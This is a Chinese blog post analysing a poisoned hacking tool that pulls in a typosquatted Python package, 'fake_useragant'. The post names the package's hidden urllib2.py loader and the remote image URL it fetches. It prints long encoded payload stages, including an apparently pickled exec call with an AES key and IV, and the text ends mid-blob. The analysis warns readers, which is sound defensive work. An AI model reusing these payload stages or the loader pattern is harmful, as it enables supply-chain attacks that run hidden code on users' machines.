关于利用工具投毒事件的简单探索

2022/07/01 安全 共 27997 字,约 80 分钟

关于利用工具投毒事件的简单探索

前言

我们平时在刷洞、刷积分的时候,因为纯靠人力会十分费劲,效率特别低,所以往往会去github之类的网站寻找工具,但是这些工具里有些会存在安全隐患,如若不加排查很容易上钩,巧的是,最近我就遇到了这么一个利用工具投毒的事件,所以想拿出来简单说说,同时也是提醒大家提高警惕。

开端

一个风和日丽的上午,我像往日一样打开了论坛,想看看有没有什么新鲜情报,突然看到一个工具,这个工具名称如下:

我本着多一个也不多,的心态把这个东西拿了下来,放到了我的工具库里。当我运行时,却发现系统提示少一个fake__useragant库,我没多想,就给pip install了,后来越想越不对劲,哪有什么useragant,于是我赶忙打开了工具文件进行查验。

分析过程

当我们打开这个py文件时可以看到,该可以文件确实有被引用

不过其他地方并无异常,无非就是一些payload以及验证过程。

于是我又找到了fake_useragant的所在地,但是刚一打开,我就发现了不对劲的地方:

这是fake_useragent的目录,在我一一查看后,发现问题疑似出现在urllib2.py文件中:

此处出现了一串很长很复杂的编码,但是由于前面出现了 ` base64.decodebytes `所以我打算将其拿去做base64解密,结果如下:

其中出现了一个可疑的地址:http://i.miaosu.bid/data/f_20133572.png,该代码试图加载此地址下的一张图片。

打开这个图片后发现是一片空白,这更能确定这玩意有问题,于是我将图片保存下来,进行解码,结果如下:

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

在尝试整体进行base64解码无果后,我只好回到源代码中寻找结果。后发现在一次解密的代码中存在

这么些对源代码的截取处理操作,于是我将此处处理代码拿下来,单独运行了一下,并对运行后的结果进行了base64解密,代码以及结果如下:

gASVeUkAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhaSQAAanNvbi5sb2FkcyhiYXNlNjQuZGVjb2RlYnl0ZXMoQUVTLm5ldyhiJ2p5V0RSNzR1VmNkYU9BZzVDbnZaTThsdEhzUDJZRWk9JyxBRVMuTU9ERV9DQkMsYic4bVprb3VISTluZ1d6UXgzJykuZGVjcnlwdChiYXNlNjQuZGVjb2RlYnl0ZXMoYidZSW5QQUtwZ2c3bDJrbEVFdzRCc2NuRitwTlpoTTFrd1NTekdFRXJ1N0lWL1p0Y29oSG5tTnk2L1JUTjFYa2pTVDBEbVRNQm0wNlRSRGtLZzQ4U0ZHWTBCd1hrL1lvNE9SbUt4bUZGWFVheTMxVWZMNmdLZVNTeGIxd21iQXdJNGtuSHZmcithZGJlbGZ3M1pkQkI0bjVzUGovT09PdXBOV2hTeWpGTUdzZjZGMUlGTlRzTWkyekdPdk92TzA1cWNzNVExTTlaUzNaaWtkeHhNT1lYbktyMzBlVlVqZ2dUTTV2MTVpY1dWZURQemt6SUgyMk5zWjdxZjVicC9QZUJSdXNRS2dOSk01SnQ1d3BTSWJMYmp5K0tMcThLT2JVMUFrazZvcm5YRExWaW96dGlRbzkyaTBNb3ZTQnk0amJYUW5vRS9odHdZWlF6Y1JWV1JlSDRrR2tiY1NISGkzbTE0SDBxSzVOUCtHSUtvRGsxS1NscEhvc1ZFVGYvNktBYjF0aVRsTnBwTC81Y3g5TU9PcVBlMkdZMjRLalVWYyt5UklXSWZITUR3TlJQWTVQN2dZakNGQWxoNWpIVEtCcHdxTHVaTzdmcFlWMXdoKzI1b2xJTjZpVG5WSnRONHM5eTlDQ1lJQnJETjQxOUlIYlpqVkdIOVRsY1VEU2V6aXVDNkxVUWUyVFdtSnRuTzFWK0Iwc0FVVTVpdGRiekd5Z2NFeUZpY3h2enovTjR1dk40ak96VXFaaVNXdm5waWk4Ymx1ZmJQWVFMR1ZqZ3B2L3laT1o0dTNFaGViVUdjejlucXZEbWt1bEM4VXBlSkFpZE1zMHBTWTFwVC9KYVZvaTZIcGRoMmZJYzIzcC9lYWRkWUpOQlBwcDE4VmlsMEs3Wmd4RTJyNFVqdDlVbWNKWlY1dGgzYmZvcTRYRktNSkNxSjNFN3ZqVTJ2eE96YXk4WWpLZ2dERyt1dmpsWGpEbW5Bd1JDR3dJblo4TkQ3RmVQVTI5L1NrdUczaEYwdXgxYjdCekhSVXluckNYdzJlMTEzZHUwaGVXbkdQeUcrYktyWTd4Ny8wUml2MDhNSWZCelp3cG4rOVF0NEg1WEtRejBlb3AxR0lQQnlEVWlqZC9Ua09sdmZCNWpvM2R5R25QOWFTazdYbGJrMWV0NzJXUFhjUEs4cnFsM2NjZFVqUitCY1d0RUl0emFlclZLWVNQdXJDRFFFVW03Y0U3TnJpWmFxNmNOdnZjenZJSk5qanFXcUduekhJZzI3OE1POE51ay9pRDlkRjBQNk5EQUtUNkpESnJEUitkY1h3TkRreXd4K2Q4V05ab09FbUpPeGRZQUFMcDM0ZldJQXhaQW5OWVJLUnkzdE9PajJFTCtlYmVkQk92Q1F3UzNOVG5yQTZzUUp0VzFscDB2L0Jua3ZRa1ppaDcyeXVONTdqZndGRXAwOGVUZkNyb2RiVHluOTNrd0NkTW1vMGRQSFI3Z0RKQlk1ckMrVHd0WlVGdXIvUXc4VzlOZTZNbDRpYXNyODl6dkMvVkQxR0tBbTRpU1lMR2J3d3NTSGZ0Q21FaGJ4TVpmcndQeFVpUm1qKzVFb3JLUmdTd3pZMGhwRXdWVi81UG4zaW9pRkZwb2d5NlBORVQrcWVpcVV5NTJtMFhJbmROcjFmZ0R6WGpIQkdOTnhGVTlTdG5IbjdMNTNxYitJWTZLUmxiSTlPN2psbWRoMmZKcEcrb1RRWG5JYjd2WEpnWDNsVEtzeDhnVWI1TnAzRFFUaEhTRG81MlNiS1l1VDlGWXBhakVEUm1yUXk4K2drN2dRWHhuZDZNeFFzSW1XZlkxYzRkM05NdUo3UFVDSzNZZUZaYzBOV0ZDdzc1clNLZkU0YnJyQTI2eC9vOHNWZzVDMXVxR255OTFyRlhNRk5WOGsrNlhxWHRORUU5RG0ydVBDZFk2b3pMK3BydVJxWDhqMDhpL0graytJaVRzVUl0ZkJObEo2YUgzaTMrSjhxN0x3Ulg4QXh0WjNDeDkwYjVOVGN2THhlR1phd0lRTzI2SWVscW5CbE5NeWJxSldIeDRPOC9sbUYybVRGYm9DL3c4a2J5TmFGSXpXdUlNTGpBK2FpOFQyQjJrM3JGRnVVczlyTVAzL2NXbjNDeHk5RmQvN2RjVlp5OU5TejdjQ09FWXJlNlNSOUZldDFzVWVsVVhJYUtMZGNuU3pwTm92UzU0T1l5QWhSS25raFAxYzRuTWZBR0dyMjc0NDI5S1RqMmJCKzdHNW9saWVndGZvTFhzUENMdStZak9qcCtXa2FlVkQycUREcHVuY2hkeFZ6NFVoYlBHMkFzRUtucWJuZ2tZS25CY2RoTkgyNmdDM0wvYVR3UitiNmY3ZFBnVEN5ZEQ4YytBb0dSeUFyclkvb29UOEhsRWU3UVNRbExUL3ZTaFJ5dm5ybGkzQ2xBR2NnaDRmKzJiOVVYN1dYb0VERWhiSlNNZ2pHRFcyRlZBb3pzSmxmekw2SVc2MHdqeVdtbXczT3Q0cmN2ZTUrL0c4TXVvSHlhVmJqbDFLeE5scVlVMDM1aFQzQUxvWEk3N0J0WDVOVnNWSXBERkNqVHNMamphZ25kcVRmRnhEZTBkdHVCc1pPSm11aS85VUJtWFBkSTZMVGhvU1g3NmgvWmdDY2k2ZnliNmZKanl4cEdud2w5OC9FQmp6MWY3L3Y0QkFGSzl5M3g5aGZrd0FlUStxUUtEVlV0alN1cm92V1BNelhCbW5NS3BkZmRUSWNlRCtPSlMyamZzL1RDczl4eFNLQklkMS9IaEhSVnJOUkNhYnRSTktrSWZtSzBxeFZBcUtFdWpRMU1BK05lU1pNZVVJTUVEMjYwTnZtOEhyZDVEdFpQOEwvK1huRnV6ZmNseTQ3b3RUN2NsUTNoalBUNWw4UE5vQkdzK1pjNDlCNjZVTkJsWjBkUTlVZERtRDE5L2d3bk5jNnB3WDVadlFFYXJxMnRrVXR3aGdXNS9tSDkxTXh4K2F3N3JIZFdWUW1XYTdNOXNyVTJtaWRrQ2ZCY3FhckJGcmdVOWxBcWRTUDBIQngxWGJEcm9LV09ua2laN3c5bCtzcjh1elVFdGVwTEtiSDc2cnZMOWhDYXVEUExQblNURG5GQzNUcGFOR1RMMFF3TzAwSXgrUE5wMUw4aUZQQ1I3NFJaa0NlL282aE83R1FBaWhMSkJuZzM5OVh4ZEsxcmtxcXBxbEpYbDkwaVRpaWZ0czdiTSt5VDFlb1BMNmxiRUNXSldxc3BIY2c0SFF6Z0ozdUtJMjJYN2hqcnlpZXRTVjZzYmk3bUV6WnU1MnFZQitTd3BKMURzbTdLMkdSUUVHYnp0SG5CcWZndUIzYzE4NzI5b3MwSmx5cGVKMzUvRkE0VWFLTEdQdS8yRzZWUzhGQjAvQXFEYmtwZmlJSGNCL2dmYm1tbXdnTzJoa1Z1Wno5dTAwTmZmQy9BMWpVRDFMUVRQZkJpYlNZS1hlYndvVUQreHliV0oxQmh0UExrNVkwWnVJSXN0eXNUK0JDRU5KRERZRFBJSVJWR1RGTW5uam5VNU5oaFgxaWZrNEVlNjZMdjVPbVdjUVN0QzE5K3o2NllQZGZkZEZpK0s5TEJhNTFrV3VhSmVJMUU5L3dTR3NJTjVUaHBOejFsTXByeTF4a1dndGhPRjRrQUl3bS9FV1pZVkdPVkVvcDVjNnR3WEZvN3ZDN3E5MHRlb3JBWmJVVGVBRXlDWmI2SFJqZGxOMzVLOE1vZUp0ZE5iUC9CQXZRamlnQ1lVRXBNcHByQ2V6L0dOcVl5MEJmald1N3JiZEtCVHI4OTFyWUdYTGdvazFVTmFTYm5vc25GaTh0d1FXdUViWE5hbTEvYnZ5RHk4dGJEWFdkaG5wMGY0cWxxZllxWDRKK3Vnb1VYK3dMeUM3bmJFdTV0QTF5UExBSUJac0JjWGpyYzJoM2dkdG9vcTRoZTR1SXY1aHhzWEw4bzljTFZjajM0S2VQMlN0S3VUbGs0cTArWkR3bUE3ekpPbHAvaW5OWmlJL2RnT1QzWkUwaU5IQWpvdVBPN0d6K1hNVUF2S1Y0S1ZsR3NuYWdGLzVFNGYwYVR1Y0sraGlrUDhEZGRhd2hkTExJKzVhT2R5TVpHMEFPSERBM0hJSGcxR2Y1ekVOZnAySm43NnhJemxaSUlxeHBjOXNYSU83MkZLb3JYT3RWSjlHeis4L3lXbDQ1M0ZlZWRPUFdFdjFwaUZPbjFpai9oVzFCUHNNUnJ1TXVXTWVZbENKOWJZdHg4KzJtODhJK1U1bXUwTWdXVmY4Vy9BWk1zaktLd244S2tONWJieTRwV1dHSkJYNVlBWkNyOXNnd2YxdTdKS0NDcW03ZEsxTlhMME9LUDFDS0tYK1ROYmJ2SldUZEJWeG0veHhnaFl5M2hMNGV5QTBZZzVjcDJYS3IvSURGRkhJcFVsSkcxeDVOOUcyZWUrSUFIT1NFTFQwUWVKNHpNT0tFMEZWbEFyRG9BTzkzL1V1V2ZMZ1I0RjdFQVpPR0dCbExpeHBrcFFkREdiVzh6VUdaaFhVWW5BQnFEVmIvalU3aVNnSGpoaHdKbTgyM2dSZlpwQU15bHdzR1VHV1k3VzVmOGs2d0FTWUJhNHRvQ0hna20vYUhneVdnOUR4VDBKM2c2QytDd1NiSnNIWWhEY3IyeGxMcTdTSlp1MlFuRWk4MHduMDUrcTFuK1ZXN2N3TU1vZXpnbkU1WmpDT3RVK2s4ajBLWHdqVGlEa0ZpUVh2ZjRpTytxUU80dXF6UXp5MGFoRWRxZEJwOFZkM3FUdFJhK0xPOEwvcE1ycHMxVFVLUWd0WFg2UEhaWFNPdkJ4K01aWGMxQlhZQ3pCUC9ySFFsSWdua1YzMGlCSmtMc3dha3BydklsZ1BwVXRWdEp1YlpFdDk3TzBMS0ZIZjVGekRNMWI5M2JmTXVTMEZVYTBPYlhBRE5UUmY5UUlRQnFHSWZpZmhWRU5xZW5vREpmSzR4ekNMeEFnemt2UzBEWEtZSnMxNHM1ZlZ4NGhjTUQwWDQvWXJnVUp1TndGa2kybjRzT3V2QVpCUE1TcUdIWkxzQ0tKdU5lSTB0YlRPYWdya1RZdWJUVm9lZkYwZHBHa3ZlZFY4NWtER0daV2tHQmdXUlAvTFZZQ1ZYQXBWa2lQZ1VTYktHV2twWFhqYjkyTkM0cHJXeDJ5Y0RpbUY1cHZxTllrUWx6cGxkKzhtMEhtVDFUWndvdUhmRklUcC9GeVlPcnVWMHczZEx1MGhjZ1VtaTRhOUVraWppUnFoa1M3NGhtZXdwV3FBUHhUZWVJb1ZaeWFXeVE3ajFuazhjcUE2SUVSYzhYNDlXeVdoTWZWV1J1SGljVVBLaTRFeHNXcW5kdkdzSldlUmNtVjR1cTZBbTlwSEdvdXZKRVMvY0xKeGcybmxrelBBMi8rZFBqRDVnZnZSRTVMRTUybjAxdlBNdk1raTdFa0VwbElEZnEzeVJOQjA2M25QbXNUOExUR3VwVWh3T0R1NjIrQ0lhYWN2VVR3N1RaTEtRYTBqZklzanRUYUIzTnFBekFhUGRjeXQzVnRZelcyYXhzbm1xdTdjSXNmVXpGbkhFK0RkSzNwei8xVlN1SUVhMTBWN0JQSFdtaWtpRVJuWko2WlRNTUJWRGZMTUFBUFpFOS8zREtyK3RDOW5JUW1kWUVuNDVrczgvWmhRTlNtcFl5Z0pKMDZ6L3lHU1kxamZXYTYwVCtML0JDNzVlWGtvM09HQldrQlNEV0trZWpIeVVCS0F4aGNGR3FBL0Q3Qmkyc0pKNmQvbDRRaW52OGkwWXdNYnZ4eVh4eWEwN3k2UjRNVVhvakFHN1ZpOVVlVTM2Y1luR2cwUGFEeUl5R2xIZjFydUtneW9pVldBNzgraTgzMmxydEZnaGNrNTRpTkdySEd0N0NUaUxyWjJLczA3a25JZ2kzVzBWOXBRd0tmZUZPTzIyeHFVNnlBMHJtMTVEbnFoZ3dTYmRPM2p3M0c1MGhzVC9JOU1vRFhsRmxNbE8xemxyZGw0a1MrYSsvYmVQdHpzN3J0T2xuSjZvMTJ4SlQzamRycjE3SGZiaUhhRVg4QVRERXFUT1lEQ08xQkROZXFZV1NtL2g2RUpISlJ3Um5INHRMMWY5S3gzcGFISkRpTTEwTWNWZG8xYUVxbVN3N0g3WG9xb0g1eVVpYytZTlB4c1pCcWRITEcrRTFQRmxBeVRVTHZISVhBTXZzYWgydWdqUHRVRHNndlI0N0FvMEpQUnhobUJDV1ViaHlLQjBtQW9EWlYvWmZLR3dwNWVkVWpiZ09mZmliN2ZXRGsrcmNSSjBMRHJEaG1GSzg5aG9mdVJTK0w4a2Z1aGR3UjZGZWpYWnltK2JmcG9aVXNZTTc5MmtpM0hOR2Foek00MkNHODlRVCtCSG9WeEVUeERMY1ptc2JDUDdneFJTcWhSMXRuSllOUUlnODZFaXNTKzkyTWVxaWF4bG1GOHJBM3AxNWEwQnFiSS9seDVxUUg1U2t6V3IxVmdKZmFDZ0Z3WnNrNE9QYWdzbkZWTlpmblpwMExCbFZPL0ZETHBFZG4zYXZDS2tCSUgrQXJ5Ynp6OVZlRGFlMEZsR1BUVlJadGcza0NBYStoZHN5RGczQklDZlBIc00wMUE0U0QwVEJhM0pMZ2t5cVM0cjIwT3ZYY1VyS3AybStvRzFJOG5TL0xwUDAway9vQUxxU0lvaEU0NWsxOWNJcHJPTVRJd3NKeDNXUEhiWFh0WlVRTXdWM1dpTGxSdFNpNnpKbURpcmVyQXRnNTNIckZjWGJCTmthSDRJdXg1UWdHd2tud3BxNCs1RVhuREYrWFd6UlcyYzVtVzZhd1VWWXNYTUM4WlJ6dHRaOSs4eStYNGhqb0J0a1Zyd3QzaXREcG9CTlRJUWxneDdOamdVaGF2eFJTZmUwejR0dXhZUlJCQkFhdXhIY3BWRUVGRmJaWHdwRnQ4VTdDMTJOd3AxK3Y5UzhaSU50bm5PNjl6WEcyaHRzMDEyMllZQjVaZi9JQjhBaXRscGQzQ0JzbTBLNjdTV2ttbG1WTHJSYkkyNmc5YVZTN2JtdmtnT0dHb3BEQ1BYMDZYK3A2M3dBTTRaZklMTFU3R09MbmplWXVFak91K0NZUEFpNWtVdUxkU280QkV1WmRqbVhrODNSbWNpY2owUVE0ZVdGM25kaXgzdWk2RFozVVZRNUFTQWFxVU5WUHFpOGg4L3d2a1R5aWF6UGNnd3I5TFRpOXBsd0cweFlyYXVuR25MNG5aWmV0cElMZWF0d1VJM2JVM1NXK0VtVG9oeUJWdnBEaGx1aTlIR1NPTFFkYzVIUE5oL0srM1VWSDNOR29QTnlVaXcxOCtxQmRNMStPR3AxbUQ4Q1dRT0FPczNST2lDMEtrb1AyMENQbCt4RUVoRHZXaG5wQmhKdklhaTV4Yi82amhGcm84S0ZoZ1NkeW15UUZjUlROMHJQQkVjbFo3d2E3YzNwazQ5NnlUZmRLL3dpNDBqQWhJZEhWekZrTWNPZTRkMXhJSVQzZG9QN3FCdHNraytXdkdDcFRmMzZjUjQwSzhYc3djTzR0ZWxsWXJsWVV6dlllbzdnWGMzcFlDUUxvOEN6VUo5UTV0dG1HRzBUT1l4VE5WSzFIcTh5RzRHb0YyRmd5MW9GTVlZeEU2UGRYamp0YlRxNy9xVEliU3FTRFdyMWpvYVdMU1lDYnAzWGRvWVFDVGp1a2xWUnVQdXFVMHh5YmQrbG1rOEdyNlpBSlkzUXV0Lzh3ZVlEU3NqbDhIa3llWWNtUlorRXBXYWVFcmF6bjlvQTZCa0FHVmFJdkdRK0QrRlcxRGlGRU5sTHVvakpvczJwYWZjOVp0ZVQzQ3F4MHp4R2JQUUZQc2t4dUh0SngwVGszRUpMWGhQcE03RmRNMzNBNVdCY3FPTGM5WVFuc1ZIQVRYWE94b2J5cUFiTzNrQmtwWENDdGpRWTN1TC9kQlFtS2w0V0ZldmUxa05EZUpscEhsM0hJYWNKY1RkR2Q1NlpWV0crRHVmZXBXdTVEdC9yVmRZR1BNUjJYOHhMVkQ1ajVTZUtzUldBRnpwa29nVmhONGs0QmltOUUxbGExU0hKVHhvemJ6VTVzZFkzM0lEV2M4T3hMdGc3WFUydU5Ld1lGWENoS0R3TW83UWVJUGUyTERGc0lMdGNCdzRFU2g1QlI0MTRSMjRsZXY0ck9aY3NvL2ZIWWFqRVRES2plc2FWRzdjWjY4Wm03anAyaWxjbEp6VFRBNnBwQlRFSjZyanZKUGhYb2dJNEp0M2s5czVwMlkwK0lOYmUrNWlXUGxrMzFSdHA4TVdDSW5hakNCdWJId0gwRG9Qa0h4NDNDak15MTVNVVJDVHdSQ2dSOWRIRWVJN0E4bVZHVElkeGprV1RCWjNCUkJiaStLVTBSdWM5Tm1XWERHaFNLbmZBOUtpZmpUd3F4b2ZuQzFkdENsZHZoS294dktKbkJ6N3Nib2ZkTTgySGdzU0UzcEpRTU1EcldLZEtpYlFFVnZLdk1vdkF6ZDBtZzI0S0RpY3NhcVdTZm12NmZieHErVktVOWxsK2pncFViSHRORG55YmhHS2ZGYmlZQXBvZVlkdldFUnlIeEpzOXgwUWd5a1YxekpsSThRSElHaFB4by9QUGY1TllpeVg4UVZORkxOOEIyNTdXWFA3dXNoQTNyR2VpMjJIbWFDUmVGS3Z3VXVtY0x0VDZSa2h0ZjRhd2ZVRGxaOWNrVVJOR2dzd1M0dnRpRHRNZzVqK2hxL1ZUL0NlRTdPakVxbDNHVG1BYUtSdG5kQkp5TTJtRHZFQ1NBTmVZR3d0UmVTMVp6bTdZOGthYkNseml1dEtvYzBhTFEwQWUvTHllWmZhR2NXTVhacFlSNmk3dUIxV0EvUmpvVTJDdXIvMjFKOExodlNXU1JOaHFrdXp2bFpJUkFOdkovS3I3YnlEdFRYdTVQTEZhVnl4cTI1RzdiK2RjRmwwRnBLeXRHaXZxcWE5Nmd6TVRZUlN0amVrTUdUMmVYNGFveGFGeFVxQzhXN2dsd2JzSndteVlMUzJwS2lxeTQwTWRPTE4xeUVmOTBIL25qazhPcEdXRUFBQmdxcXN2Qkx6MHppbHB5dzdWWDJSVVNyNkx1U084ZFIwUXhHZzl1blpBVG44VW4yRDMxdlErSEd1NDJ5M2xocmZsVHFMOVROaTlMdTlvekdTZ0toNVU1VWFMSWxibGJKS0Q1S0JSdmxWKzlZLzJqSitkcEhka0FCTG00Z2ZMZXByMEdLNGZZc0hlR2xhbXhMYU1IeXhQVXFUaTZGOTJtMGFIdkVvMUs2dEZqYjNxdDlvTXEvUWdwS3dKQnplYm9kVENlZUdPN1Y0UnJ1cEZ1Z0xPbDhNejk2WXdSWXVxdlVTYmxpK3ZFVW9wQTdOSTBXaHFERjlXaWhlakRldWFVOEZxcExMMFROWEUwSy9SekxBdDhydytpbFBnN0hwUmFSZFFGa2M3WFlRK0RmODUwV2FINndsRWloQjRFYTg3Qm1GdXl5b2tkdHZtN3QyWnc1RlVlUXpLTGx6Q2MvbzV0VFAxRk81dXBIKzRsVE1kV3VHaGtSamFRR3hoSFc2Z0ZOVVd3ZjV1YllmalJzb1ZKTVVkNnF4TFFNVlZiZllkUktWTkUzRDVtY1pnakV3USs3Nm9YR0ZVbVJSMlBDSEovcURZbXRySFVVSm9Pc2tEYnZoWUlRd29ieVF4WGxJQ3lkY2lVaFVtQ2xWMGxOOEVZT09yb2N5ckErc0hUT01JbFI4cWx1TmxMRUpFLzROTmNZbUdQc1dMeVVIMEthaVVKdEE3czZWbEdDbm03aFNQUExjY0pVSEhXbGNKWnIvTmxwK25pcVZQUWJvNTJuUzZScjNkMWpuUk1FZ0pVZjgxOEgveXVTVEtGa1l5blhWYXU5UG9DeHh1VDU5bC9vZDcrS0g4cGUrOEZWT1d0eEtSTmpxbHVGclJGQXFNVEZSS3hFQXhlQStCcjFGVWFjYTB4Wkp4ak8rYlFYc0V0OWIyTVZmbHYxaVNwVlQ4MGM0Q3ZFUUV0SlExLzQzbE1kbE4wQTl4Z3BQbTNBa1FCcGhCc0VDY0tub0pTaTNRT2JjYlluTldRQWJmbzlvaVVNeEJESVZwdk5Gb3NmQWI2Z2xtaHZmOUk3NXh6R3NHYnVjMU9BVnJidVdRbTdKb0F6dlZPWFR2aXV0UW9tZU8weEFyRE1MeHlpT29EK2kxQ2V4WHZzdGt0MitUaGlBS1AyNzNGdWIzNzhpenl1V1krS2hIT2NCZ0ZIUHVoNitkbE10TUxFTkFPanBXRnFIc2JxeXIyWCtrMERKOEkrV20yQ3MwcnZBcEhtdnJ1Uy9TYUpaVDVBaGp4bzJwc2RZbHFnUXNFc0NBSUVqNmMwclU5Y1pmVEdNM0FkNmc4TGhMek9adjJPTDdGUG04Rkl3RFBlajBBRHNTMzZZU0tJcDdpU2QwdnZaZzlPVk9CRTJlcnRNSFExY2FJNzFCSDYxeE1iMk5OYzZCUXR3enJKcUduZXlBZzlzLzA1c0s2R0pYV0JPeUxsVXFwYWg4aUhLLzh0YXZKaGxuWEZIUVkyc1hGRzVBRWUrb1kvcFVVLzREc2lFSVd2RklzQ0hSbVg2UmtadnIwZC9hbHAyRXMzWXNnNklCOXJWNnlLUVlmd0djbTZJS2FQRHhWaEc4NHhVK2Z6Q2kwTWx2SE12YW9sN21PeDlGQmVjMHFQYXh3RVV3WGxmMjlxNTJNbFd0LzVhL2piYmhYZXN5Yk1WY2ZvK0MzckZPamdyOFpSQ0kvNXZmT1czdk5vQmcvY3hObEVtTU5yZTJDa3dacWl2anNVbVVhcDZabng3bmxQQjQ1L0tvaWdhY0dSUW9SYVN6TGRWYU45bzJzS0tyZk5YeEJMdjdBOHgwU2NoczR5aFgzWkVVdVljdENGaVNVVVVoODVFZXJyeURNT3c5eGQ2YmZGSFNLcThENFNZejJxaGYzNEM3Nk93cDYza1RRVGkzQXZvcUFXeWZtcGw5Ykt5bEJRTmdPYTFRL1lWL3pqaHJINHBUd0dlV3JqdVBMRVpzSmcvcGpzaVc5MCtEU2RxeVhlR0EvU0hqeHRZbnpwbzNwRzBDMzNNSS9sVm9kWjI0WGxYckNNd3BMUnlZM2ovakpGdS9BcWNJa1JrcDdEbjM4dTRsWEFTcnZ5Q2NlYTd6WGlvU0pwV0FWNXNoN3A0V1o2ZS91MUN0R3g1MFM0U293YTVxSVhQc1NPSStCLzgzcm5rNDdNbUVrZ3EzU0Z5b3BpZTIxV0VwcW9LRGd1R21nSktHZEVUZzk3dHVwalI2K3pOSnRvRDNtcHhoL2FpTnZwdFFaTHh2blUrR2J5eURCMDRiRGRHMkZSWVJJL3lCenp0d09UWlR2TlpWZUFURHhWcFRZeDlKOEc1bzFzUGU3dGhKZzZyMXZ2VVpZVWt4eWwwOWFMdmlpM1hjL3MzRXhQZUdydE9aMitBWmpjT1Zja0lzRHczOHNJRWNoMGJQOFlZYy9xM0dYR0RuSk53K3hGZlVnYkFmb2NlYlBYdjVzdVoyUnlCUGpmeHp6QjJuZTBIZ0ZEVlRvU0kxZHVuOS96VDNBWjRSY2ZodWRyS3V3YzlqTWI0OXBjTjA4QXJQWTJvZktOY0xaS3hESWZKaVFLWDBKMXZWZm4zOWlQYXdVZm1WZ1dqSE1MZnplbDZHdG9hRDNSajQwQ04wZW5UNlBlUTk0YWx0Y0RRUE9qRmdqZkFIb1VSWnlLR0FYWmpCeUl0a3hMc2g3SHNkZ1VvdTQrMzBEMURRZ0JGRGMyakhKQWRHVTRWSUtoMk9vWklnTy9wZy9kRzU4QmwxRVFlOExQa0IzZkVyb2I0WUlFVmUzRTNFcmxoT3dSOGNlYVVpUWtjMjZydG13dW5odU1DOExqQzdKTFU3MmtMQlRkdVVxZDV2bWh3RGs4aVl4Q3N4ZXZJbCtWZ25qV1JhVkpmZ0xieC90em9lcFZnQTZpNUVUVmtaOERnZE5lbVFtYXhDeDNhWFFWRVJKTUN4UjNmN29XK3dST2UyNm5OUDh2alEzMnBZL1ErbXp3YUZPdkNnU3BCTDVicVdRcDBCUWRKeXFGc0NhL01YQ243ZitSelk2L1dpS01UWjNSMEJobFJ0MU5HSFIxd1d2by80RlpXMytVVDFhMDZ1ZXdGVXFUaFU1SHVWSkF1NUJLcEJEcEpsQUlnb21lVUQybUczM0pYQW9CdVVQZlFYTy8veGd1YnY2MXI1Y2ZUeFN3OEZsaWtScnpIdFBo